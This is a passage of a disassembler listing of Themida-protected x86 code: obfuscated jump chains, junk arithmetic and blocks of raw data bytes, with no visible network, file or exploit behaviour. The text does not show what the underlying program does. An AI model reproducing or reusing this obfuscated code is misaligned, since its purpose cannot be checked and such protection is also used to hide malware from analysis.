		dd 0FC00B5Eh, 64684h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_553A76
; ---------------------------------------------------------------------------


loc_559E3F:				; CODE XREF: Themida_:0055938Dj
		xchg	ebp, [esp]
		pop	esp
		xor	esi, 44835924h
		jmp	loc_5593EB
; ---------------------------------------------------------------------------
word_559E4E	dw 8B66h		; DATA XREF: Themida_:005504ECo
		dd 0B9682404h, 8900004Bh, 0E789243Ch, 4C781h, 0EC810000h
		dd 4, 0FFCB0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559E6D:				; CODE XREF: Themida_:0055BACDj
		or	ebp, 448C3178h
		neg	ebp
		jmp	loc_55499B
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 35E90000h
		db 17h,	2 dup(0)
byte_559E87	db 0FFh			; DATA XREF: Themida_:005504B4o
		dd 4E92C77h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559E8F:				; CODE XREF: Themida_:00559382j
		shr	ecx, 0Ah
		sub	esp, 4
		jmp	loc_55C013
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 1AC18104h, 1FA5B3Fh,	1C8759CBh, 8B665C24h, 0EC832414h
		dd 0BDE3E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559EB6:				; CODE XREF: Themida_:0055B7FEj
		pop	eax
		add	eax, 7FC255ADh
		pop	ebx
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	542Eh
		mov	[esp], edi
		mov	edi, esp
		push	esi
		jmp	loc_5537BC
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0F4h
		dd 0F751C211h, 0A47AE9D1h, 0BB53FFFFh, 38131539h, 0CEE9DBF7h
		dd 0BBFFFFA3h, 1FC5D33h, 0F381DBF7h, 0FE03A2CFh, 34FFDD01h
		dd 0C4835B24h, 242C3304h, 33242C31h, 0F3E9242Ch
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_559F13:				; CODE XREF: Themida_:00551B2Cj
		pop	edx
		sub	eax, 0EC2124Eh
		jmp	loc_55C198
; ---------------------------------------------------------------------------
word_559F1E	dw 0FF66h		; DATA XREF: Themida_:00550718o
		dd 686DE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559F26:				; CODE XREF: Themida_:00553C14j
		pop	edx
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 1
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_558189
; ---------------------------------------------------------------------------
dword_559F58	dd 24048B66h, 595E9h, 0C3815900h, 2FBC0E0Bh, 0FFBBBCE9h
					; DATA XREF: Themida_:00550508o
		db 0FFh
; ---------------------------------------------------------------------------


loc_559F6D:				; CODE XREF: Themida_:00557E68j
		mov	eax, 58566734h
		sub	ecx, eax
		pop	eax
		sub	ecx, eax
		add	ecx, 58566734h
		jmp	loc_550BE8
; ---------------------------------------------------------------------------


loc_559F82:				; CODE XREF: Themida_:005570CBj
		inc	ecx
		sub	ecx, 1DF2E2C2h
		mov	eax, ecx
		jmp	loc_558A12
; ---------------------------------------------------------------------------


loc_559F90:				; CODE XREF: Themida_:00556A1Bj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_553DA5
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 8759CD29h, 895C242Ch, 0E0892404h,	405h, 4EC8300h
		dd 0BE243489h, 306B48A7h, 6E9FE94Eh, 1431FFFFh,	24143324h
		dd 5724248Bh, 41254DBFh, 0E9E9562Ah, 0BAFFFF9Fh, 7A3466B3h
		dd 1DAFE9h
		db 0
; ---------------------------------------------------------------------------


loc_559FED:				; CODE XREF: Themida_:0055257Cj
		mov	edi, 662C07DCh
		jmp	loc_55094E
; ---------------------------------------------------------------------------


loc_559FF7:				; CODE XREF: Themida_:005565EFj
		dec	ecx
		jmp	loc_552F12
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FFE3ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A005:				; CODE XREF: Themida_:005558D2j
		dec	eax
		xor	eax, 61805A28h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	6AEAh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_556B82
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 68000000h, 7A45h, 0BA241489h, 2, 2A05BF57h, 0FD294F24h
		dd 83D5015Fh, 0C8904ECh, 2F7FB924h, 0D1F75D3Fh,	0D1F7D1F7h
		dd 8102E9C1h, 8C0A1BE9h, 59CD01D9h, 4EC815Ah, 89000000h
		dd 46E9242Ch, 81FFFF70h, 85615EDh, 0E9DDF72Ch, 0FFFFAC08h
		dd 0E3C0E3D0h, 7357E908h, 0C381FFFFh, 4, 4C381h, 42E90000h
		dd 0BBFFFFBBh, 36B01BC8h, 4EC81h, 2C890000h, 89DD8924h
		dd 1C8B5DEFh, 4C48124h,	31000000h, 0EA815FF8h, 42DF2D0Bh
		dd 6857C201h, 6FCBh, 0BB241C89h, 42DF2D0Bh, 1C8BDF89h
		dd 5D545524h, 731FBB53h, 0F3810BC9h, 7FC877BEh,	4908E381h
		dd 0EB810F21h, 4E284FB2h, 2484E953h, 0C15A0000h, 0EDC102EDh
		dd 75B85007h, 0F74BEC4Dh, 34E940D0h, 50FFFFB0h,	0FFC2D1E9h
		dd 0E9DF29FFh, 9F7h, 0B2241489h, 0BA47E982h, 515CFFFFh
		dd 1B7C90B9h, 0E9C82979h, 0FFFFD793h, 33242C31h, 0E95C242Ch
		dd 3CDh, 0A3D6E955h, 8B58FFFFh,	6AE9242Ch
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A147:				; CODE XREF: Themida_:00555F52j
		mov	ebp, esp
		jmp	loc_5554D6
; ---------------------------------------------------------------------------


loc_55A14E:				; CODE XREF: Themida_:00551ED9j
		add	esp, 4
		push	dword ptr [edi+1Ch]
		add	dword ptr [esp], 4A051BA2h
		push	dword ptr [esp]
		pop	ecx
		push	2152h
		mov	[esp], ebp
		push	esp
		jmp	loc_5586AA
; ---------------------------------------------------------------------------


loc_55A170:				; CODE XREF: Themida_:00558184j
		push	ebx
		jmp	loc_55AA16
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 0B8504607h, 46076203h, 0E958C609h, 0FFFF828Ah, 59CB015Fh
		dd 0FF83D0E9h, 50E981FFh, 0D12EFE58h, 11C181E1h, 89FAFA9Bh
		dd 0D0E959CAh, 5BFFFF75h, 2474FF56h, 24348B04h,	3DE95452h
		dd 83FFFFD4h, 34FF02C4h, 0C4815824h, 4,	0E9C0B60Fh, 0FFFF9773h
; ---------------------------------------------------------------------------


loc_55A1CC:				; CODE XREF: Themida_:005564E8j
		shr	eax, 8
		jmp	loc_5519CB
; ---------------------------------------------------------------------------
		dd 4C381h, 30680000h, 0E900001Eh, 0FFFFD789h
; ---------------------------------------------------------------------------


loc_55A1E4:				; CODE XREF: Themida_:00551C91j
		not	ecx
		push	eax
		mov	eax, 3CB6140Fh
		xor	eax, 0F2778C7Ah
		add	ecx, eax
		pop	eax
		jmp	loc_55635A
; ---------------------------------------------------------------------------
aBPF_s		db 'Á·p',0Dh,'f_éÓ',0
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_55A205:				; CODE XREF: Themida_:0055A9AAj
		sub	ebp, 17AD0AE9h
		jmp	loc_550A9B
; ---------------------------------------------------------------------------


loc_55A210:				; CODE XREF: Themida_:005528F3j
		dec	ecx
		dec	ecx
		add	ecx, 0ECF32A8h
		dec	ecx
		xor	ecx, 0F041E705h
		jmp	loc_55C8D3
; ---------------------------------------------------------------------------
		dd 5966CB30h, 0FF8965E9h, 0B5CD81FFh, 57124846h, 426367BFh
		dd 47D7F764h, 5EEF8147h, 0F7484617h, 9EB7E9D7h,	0B450FFFFh
		dd 0CEB2529Eh, 800BEA80h, 0D428C2ECh, 5AC2C480h, 0CCFED4F6h
		dd 8004ECC0h, 0E5883FF4h, 55E58058h, 0C586D5F6h, 0FEB5B652h
		dd 4BF680CEh, 865AF028h, 80ED80C5h, 5259E828h, 57EF68h
		dd 8BC0E900h, 0EF81FFFFh, 451A26B3h, 0C781D701h, 451A26B3h
		dd 0FF73CAE9h, 58E328FFh, 1B05066h, 5866C328h, 402F380h
		dd 53D800B6h, 0D7F64CB7h, 0FE78CF80h, 4CF780CFh, 25C6E9h
		dd 5FF88900h, 0E1643105h, 2E8C135h, 0E908E0C1h,	154Dh
		dd 81241C8Bh, 4C4h, 0FE895600h,	8904EC83h, 8156243Ch, 6ACC2404h
		dd 555F0932h, 3927D2BDh, 2EED8147h, 0E9116E7Ah,	0FFFF758Ch
		dd 33240431h, 665C2404h, 9C2404FFh, 0FF647EE9h,	86EA81FFh
		dd 2966DD27h, 0E0BF57CAh, 473F105Dh, 4E9DFF7h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A32B:				; CODE XREF: Themida_:00556EB2j
		inc	dword ptr [esp]
		pop	ebx
		xor	ebx, 6F5B0692h
		xor	ebx, 44CF66F5h
		push	ecx
		push	ebx
		xor	dword ptr [esp], 20A75209h
		pop	ecx
		xor	ecx, 20A75209h
		jmp	loc_556FA6
; ---------------------------------------------------------------------------


loc_55A350:				; CODE XREF: Themida_:0055BFD5j
		neg	edx
		add	edx, 59DE72C4h
		jmp	loc_553C12
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0E9E78957h, 0FFFF8125h
; ---------------------------------------------------------------------------


loc_55A368:				; CODE XREF: Themida_:005508C0j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_553587
; ---------------------------------------------------------------------------


loc_55A373:				; CODE XREF: Themida_:00557E28j
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		pop	ebx
		jmp	loc_55225B
; ---------------------------------------------------------------------------
		dd 2C768h, 0B8B2E900h, 0BF2DFFFFh, 50C6544h, 255E6B1Bh
		dd 1B2DD029h, 5255E6Bh,	0C6544BFh, 86B8E95Ah, 248BFFFFh
		dd 0B2BA5224h, 16F9003h, 24148BD3h, 4C481h, 1DE90000h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A3C3:				; CODE XREF: Themida_:00554B66j
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	1A61h
		mov	[esp], esi
		mov	esi, 47E85DDCh
		sub	esi, 3233FF24h
		add	eax, 7CE43484h
		add	eax, esi
		sub	eax, 7CE43484h
		jmp	loc_5539FA
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 0CE7AB605h, 482E97Ah, 0B1510000h,	9E4EE94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A40E:				; CODE XREF: Themida_:0055607Bj
		add	esp, 4
		sub	eax, 39D94E92h
		push	dword ptr [esp]
		pop	esi
		push	16F1h
		mov	[esp], esi
		jmp	loc_55314E
; ---------------------------------------------------------------------------
		dw 489h
		dd 59D0B824h, 0C1893791h, 59CA0158h, 488AEA81h,	0C2293DFDh
		dd 0FF9F9EE9h, 7E8C1FFh, 3E50A405h, 67160551h, 0C701226Ah
		dd 83CF0158h, 0F4E904ECh
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A45F:				; CODE XREF: Themida_:0055538Aj
		add	eax, 45DB4D1Eh
		jmp	loc_554E9E
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 4C010000h, 0C4E90424h, 56FFFFA6h, 0FF637BE9h, 8BC501FFh
		dd 0C4832404h, 15B9E904h, 835A0000h, 148904ECh,	1D146824h
		dd 1C890000h, 77B65224h, 8006E6C0h, 0F388DAC6h,	4EC815Ah
		dd 89000000h, 8852240Ch, 0E9F588DEh, 0FFFF76F8h, 4BEh
		dd 0E9F28900h, 0FFFF8757h, 5FDEBE56h, 0F589604Bh, 5C5815Eh
		dd 5568A230h, 5D2414F7h, 6DD7F581h, 1A6810A2h, 89000048h
		dd 0CFB82404h, 3127B01Dh, 0E90158C5h, 0E4A7E95Dh, 0F768FFFFh
		dd 89000043h, 0E0892404h, 0FFB11EE9h, 0E9F766FFh, 56E08950h
		dd 1E2A5CBEh, 4BF575Bh,	21013130h, 0F6815FFEh, 3FB53641h
		dd 1EE8346h, 37C4B951h,	0ACE9261Dh, 81FFFFB1h, 5D23D8E1h
		dd 0C1D9F766h, 0D1F706E1h, 6FFBE981h, 0CF010000h, 4C78159h
		dd 87000000h, 305C243Ch, 24322424h, 1B49E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A55A:				; CODE XREF: Themida_:005524E7j
		mov	ebp, 0C3214C2h
		or	edx, ebp
		pop	ebp
		add	edx, 0C1418186h
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_550E26
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 0FFFFB88Dh
; ---------------------------------------------------------------------------


loc_55A584:				; CODE XREF: Themida_:00556CACj
		pop	eax
		mov	ebp, ebx
		pop	ebx
		xor	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_55A5E1
; ---------------------------------------------------------------------------


loc_55A592:				; CODE XREF: Themida_:005533CFj
		mov	eax, esp
		push	ecx
		jmp	loc_5569F0
; ---------------------------------------------------------------------------


loc_55A59A:				; CODE XREF: Themida_:0055ACF0j
		mov	edx, 2CA0489Eh
		jmp	loc_553561
; ---------------------------------------------------------------------------
dword_55A5A4	dd 6824048Bh, 6C2Bh, 54240C89h,	81240C8Bh, 4C4h, 0F0FAE900h
					; DATA XREF: Themida_:005504B8o
		dd 8957FFFFh, 4C781E7h,	83000000h, 3C8704C7h, 2055C24h
		dd 33000000h, 4312404h,	24043324h, 0FFDF2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A5E1:				; CODE XREF: Themida_:0055A58Dj
		add	esp, 4
		and	eax, ebp
		jmp	loc_556FCD
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFD81DE9h, 4BC380FFh, 0FF6A6CE9h, 736852FFh, 0E9459B6Ch
		dd 1660h, 0E904C483h, 0FFFF6659h, 4EC815Ch, 89000000h
		dd 1AB9240Ch, 31255734h, 8EB2E9CDh, 0E5C1FFFFh,	81D5F702h
		dd 740D69C5h, 0E9895193h, 5D59CE89h, 2A38E681h,	0BD55194Ch
		dd 0DB25FFDh, 295DEE31h, 0C72D5EF0h, 68509825h,	16Bh, 0FFE209E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A655:				; CODE XREF: Themida_:00554C76j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_559835
; ---------------------------------------------------------------------------
		db 53h,	68h, 0
		dd 89000007h, 0BA52240Ch, 5BAA3D71h, 0C15AD189h, 0E98108E9h
		dd 5BAA39h, 0E9595B51h,	256h
; ---------------------------------------------------------------------------


loc_55A684:				; CODE XREF: Themida_:005586C4j
		push	edi
		jmp	loc_55835E
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 591244A7h, 953BE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A696:				; CODE XREF: Themida_:00555124j
		push	edx
		push	ebp
		push	edi
		jmp	loc_553BA0
; ---------------------------------------------------------------------------
		dw 0C809h
		dd 480E3559h, 0C22931B7h, 0FFC566E9h, 4C481FFh,	0C1000000h
		dd 0EAC108E2h, 4CC28105h, 89301F0Ah, 2434FFD3h,	23B1E95Ah
		dd 47210000h, 0C0E9581Ch, 0BDFFFF60h, 5B91712Ch, 0F7E58145h
		dd 0E93FF50Ch, 1783h
; ---------------------------------------------------------------------------


loc_55A6E4:				; CODE XREF: Themida_:0055BE45j
		pop	eax
		add	ecx, ebx
		jmp	loc_559C95
; ---------------------------------------------------------------------------
		dd 4C481h, 8BE90000h
		db 0C0h, 2 dup(0FFh)
byte_55A6F7	db 66h			; DATA XREF: Themida_:0055054Co
		dd 0E9240C8Bh, 0FFFF7C4Eh, 8959E95Dh, 665CFFFFh, 9C240431h
		dd 0FF6082E9h, 4EC83FFh, 89242C89h, 4B951E5h, 0E9000000h
		dd 0FFFF6E86h, 8324348Bh, 34FF04C4h
		db 24h,	5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_5565DB
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 2FBC0E0Bh, 4C38358h,	2474FF53h, 241C8B04h, 8F04C483h
		dd 0E95C2404h, 0FFFF784Eh, 405h, 40500h, 2AE90000h, 87FFFF8Bh
		dd 895C243Ch, 0D8BF243Ch, 3116FE24h, 3DE95FFDh,	0FEFFFFDAh
		dd 65DE9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A78E:				; CODE XREF: Themida_:005514BAj
		push	ebx
		push	7BDAh
		mov	[esp], eax
		push	7AAE16E8h
		pop	eax
		not	eax
		shr	eax, 5
		xor	eax, 4635F4E2h
		jmp	loc_55B29F
; ---------------------------------------------------------------------------


loc_55A7AC:				; CODE XREF: Themida_:005595C8j
		push	77DEh
		mov	[esp], eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 59247B30h
		and	edi, 61C4596Bh
		jmp	loc_558EC9
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF5FC7h, 2434875Ch, 0C8BF0F5Ch, 84168h, 240C8900h
		dd 0FF5FB2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A7E1:				; CODE XREF: Themida_:005514EFj
		pop	edi
		push	ebp
		mov	ebp, 310F77DCh
		jmp	loc_55BADF
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4050000h, 87000000h,	59E92404h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A7FF:				; CODE XREF: Themida_:00558CE9j
		push	ebx
		jmp	loc_555A21
; ---------------------------------------------------------------------------
		db 59h,	81h, 0CAh
		dd 62076D11h, 0FFE32FE9h, 0EB815EFFh, 2AD977C8h, 0E952EB01h
		dd 0FFFFEB0Fh
dword_55A820	dd 24048B66h, 52E08950h, 4BAh, 3AE50500h, 0D001290Fh, 34E468h
					; DATA XREF: Themida_:00550560o
		dd 242C8900h, 0FFB948E9h, 0E95066FFh, 0FFFFA433h, 8B243C87h
		dd 22E92424h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A853:				; CODE XREF: Themida_:005598EAj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55454F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4C58100h, 87000000h, 525C242Ch, 0BAh, 89C22900h
		dd 0CE685AD0h, 0E900000Ah, 1FE8h, 0B62DD029h, 5A7ACE7Ah
		dd 0FFA410E9h, 243487FFh, 48F545Ch, 24048124h, 4, 0E9242C8Bh
		dd 0FFFFCACEh, 34FFD601h, 89535A24h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 2434335Ch, 33243431h, 815C2434h, 4C4h
		dd 6221E900h, 0DF89FFFFh, 8BFA015Bh, 0C481243Ch, 4, 2C281h
		dd 14330000h, 24143124h, 5C241433h, 24042966h, 5E91E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A902:				; CODE XREF: Themida_:0055B280j
		and	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 801045h
		xor	ebx, esi
		pop	esi
		mov	ebp, ebx
		jmp	loc_551ED2
; ---------------------------------------------------------------------------
		dw 5452h
		dd 0FFD556E9h, 24248BFFh, 68240C89h, 0C8F5AE2h,	8BC80159h
		dd 0FBE9240Ch, 0BDFFFFDFh, 87078BBh, 52A5EB81h,	92E94979h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A947:				; CODE XREF: Themida_:005577A4j
		mov	eax, edi
		jmp	loc_55760B
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4, 8758C201h, 248B2414h, 2434FF24h, 8124048Bh, 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 65335FD2h
		add	ebx, 1
		or	ebx, 5E2B77FBh
		or	ebx, 11932492h
		sub	ebx, 754A79EBh
		sub	ebx, 78167701h
		xor	ebx, 925A8F0Bh
		add	ebp, 17AD0AE9h
		add	ebp, 357E7425h
		add	ebp, ebx
		sub	ebp, 357E7425h
		jmp	loc_55A205
; ---------------------------------------------------------------------------
byte_55A9AF	db 0FFh			; DATA XREF: Themida_:005504BCo
		dd 48B2434h, 0E3895324h, 4C381h, 60E90000h, 89FFFF63h
		dd 4832424h, 34FF0424h,	0E9565E24h, 0FFFF8F87h
; ---------------------------------------------------------------------------


loc_55A9D4:				; CODE XREF: Themida_:00557CF3j
		pop	ebp
		mov	edi, 78A06Ch
		add	edi, esi
		pop	esi
		mov	ebp, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		push	eax
		push	ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		jmp	loc_55351E
; ---------------------------------------------------------------------------
		dd 0EC8313B2h, 240C8904h, 0CB88D188h, 53240C8Bh, 0C8E9E389h
		dd 0FE00000Ah, 0B55166CEh, 4C0E9FCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AA16:				; CODE XREF: Themida_:0055A171j
		mov	ebx, 40h
		push	ebx
		jmp	loc_55B7F7
; ---------------------------------------------------------------------------


loc_55AA21:				; CODE XREF: Themida_:00554A31j
		and	edx, esi
		pop	esi
		shr	edx, 6
		jmp	loc_55B922
; ---------------------------------------------------------------------------
		dd 6818BF57h, 0E7C12861h, 4EC8106h, 89000000h, 0D9BD242Ch
		dd 96D155Dh, 6A43E9EFh,	0E1C0FFFFh, 5E9C006h, 0E956C180h
		dd 0FFFFDCD0h
; ---------------------------------------------------------------------------


loc_55AA58:				; CODE XREF: Themida_:00558FD0j
		mov	ecx, eax
		pop	eax
		jmp	loc_5517E9
; ---------------------------------------------------------------------------
		dd 71C9C681h, 95E9301Eh, 56FFFF9Bh, 6221E952h, 0B68FFFFh
		dd 89000035h, 0C188240Ch, 5859CF88h, 0FFDF78E9h, 0A96866FFh
		dd 0E95F6634h, 1D72h, 515AD300h, 6EE998B1h, 55FFFFC1h
		dd 4BDh, 9542E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AAA6:				; CODE XREF: Themida_:00555985j
		shr	bh, 3
		push	edx
		push	ecx
		mov	cl, 0EFh
		mov	dh, cl
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_552B73
; ---------------------------------------------------------------------------
		dw 5966h
		dd 0FFA6BCE9h, 241489FFh, 0ADE9B3B6h, 5AFFFFEDh, 0E904EC83h
		dd 974h
dword_55AAD4	dd 24048B66h, 50E38953h, 5B5833B8h, 7E8C100h, 0F3659E0Dh
					; DATA XREF: Themida_:005504DCo
		dd 0CFD8E948h, 0F701FFFFh, 81DF295Eh, 3B50C9EFh, 0E3A3E973h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AAFE:				; CODE XREF: Themida_:00552C59j
		add	bl, al
		add	bl, 3Dh
		push	edx
		mov	dh, 0E4h
		jmp	loc_555118
; ---------------------------------------------------------------------------
		db 5Bh
		dd 55FFA89h, 6AE5D50h, 0FF70C9E9h, 12EA81FFh, 1130379h
		dd 3E685AD5h, 89000021h, 468243Ch, 5F000000h, 0B5E9FD01h
		dd 55FFFFC0h, 0FFF987E9h, 43EE81FFh, 99C8098h, 24348BF7h
		dd 4C481h, 0BD550000h, 30A1068Fh, 0D5F7D5F7h, 496BED81h
		dd 0DDF730F2h, 1FFAF581h, 0F58151DDh, 50F70675h, 0FFAC26E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AB71:				; CODE XREF: Themida_:00555044j
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_553684
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4Eh
		dd 1BE4BA9h, 241C8BDEh,	4C481h,	0D680000h, 8900003Ah, 2B9240Ch
		dd 1000000h, 343359CEh,	24343124h, 8B243433h, 8B662424h
		dd 0C5682404h, 0E9000071h, 0FFFF6938h, 8104C483h, 4C6h
		dd 0EC835300h, 24348904h, 4BEh,	5EF38900h, 565BDE01h, 42474FFh
		dd 0FFEC77E9h, 0A72540FFh, 52D0C4Eh, 9241467h, 541742Dh
		dd 59C0566h, 112D55F5h,	1251823h, 24048BC5h, 4C481h, 0B0E90000h
		dd 5FFFF91h, 8362CCB1h,	0FF9224E9h, 11E95AFFh
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC1B:				; CODE XREF: Themida_:00557BA0j
		sub	esp, 4
		jmp	loc_55306A
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 3EE448EBh, 3E76F581h, 0E9313767h, 0FF81B5E9h, 24248BFFh
		dd 0FF5B52E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AC41:				; CODE XREF: Themida_:0055940Bj
		add	ebp, 47193FFCh
		sub	ebp, 68F241A0h
		add	ebp, ebx
		add	ebp, 68F241A0h
		sub	ebp, 47193FFCh
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]


loc_55AC62:				; CODE XREF: Themida_:loc_55529Bj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		jmp	loc_551103
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24348924h, 0CDC0E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC82:				; CODE XREF: Themida_:0055727Cj
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		xchg	eax, esi
		push	edi
		mov	edi, esp
		jmp	loc_555F01
; ---------------------------------------------------------------------------


loc_55AC9C:				; CODE XREF: Themida_:00557282j
		inc	ebx
		xor	ebx, 19A619DCh
		add	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		add	ecx, 9095872h
		jmp	loc_559C4E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4C58100h, 0E9000000h, 0FFFF8779h, 245BF888h, 8E8C0E1h
		dd 0D4E9D8F6h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ACD7:				; CODE XREF: Themida_:0055C759j
		mov	esi, 77FF058Bh
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, 8800FA76h
		add	ecx, 5E325F0Bh
		push	edx
		jmp	loc_55A59A
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0E9h
		dd 0CA84EFA9h, 2959CE89h, 5595EF0h, 2, 0E9240433h, 0FFFFDC82h
		dd 44DEED81h, 0ED8122D1h, 3A851F32h, 0A5EAE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AD22:				; CODE XREF: Themida_:0055C1EAj
		push	eax
		mov	eax, esp
		jmp	loc_554C6C
; ---------------------------------------------------------------------------


loc_55AD2A:				; CODE XREF: Themida_:005540E5j
		sub	ecx, esi
		jmp	loc_558CEE
; ---------------------------------------------------------------------------
		dd offset aKleiman+4
		align 2
		dw 2489h
		dd 24048124h, 4, 0FFE290E9h, 0EC8059FFh, 0EFC480FAh, 0FFC07BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AD51:				; CODE XREF: Themida_:00554149j
		pop	edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		push	esi
		push	2
		mov	esi, [esp]
		jmp	loc_55484F
; ---------------------------------------------------------------------------
		dd 0D2F7E2D1h, 0FFCDFAE9h
		db 0FFh
byte_55AD79	db 0ADh, 56h, 0E9h	; DATA XREF: Themida_:00550620o
		dd 0FFFF8B02h
; ---------------------------------------------------------------------------


loc_55AD80:				; CODE XREF: Themida_:005527DDj
		pop	ecx
		sub	bl, 0ADh
		movzx	eax, al
		jmp	loc_55322B
; ---------------------------------------------------------------------------
		dd 3507E0C1h, 0DE73E40h, 5003E0C1h, 0E92414F7h,	0FFFFB0F3h
		dd 0E1416EB9h, 0CDC18153h, 8127875Dh, 87CDDE9h,	59C8013Dh
		dd 5E5BE56h, 0F02912A9h, 0AE2EE95Eh, 0ECBBFFFFh, 0B8221165h
		dd 334E8B65h, 9CE9D829h, 1FFFFEDh, 31E95BD9h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ADDB:				; CODE XREF: Themida_:0055C8F6j
		neg	ebx
		shr	ebx, 2
		xor	ebx, 25C5EA24h
		jmp	loc_553D2B
; ---------------------------------------------------------------------------
		db 80h
		dd 0D828D1C3h, 0FF6625E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ADF5:				; CODE XREF: Themida_:00559D5Dj
		push	ebx
		mov	ebx, 40971FF4h
		sub	eax, 33C25678h
		push	0BBDh
		mov	[esp], ecx
		jmp	loc_5579F3
; ---------------------------------------------------------------------------
		db 5Ah,	89h, 0CEh
		dd 241C8B59h, 5604C483h, 8B40478Fh, 0C4832434h,	24048B04h
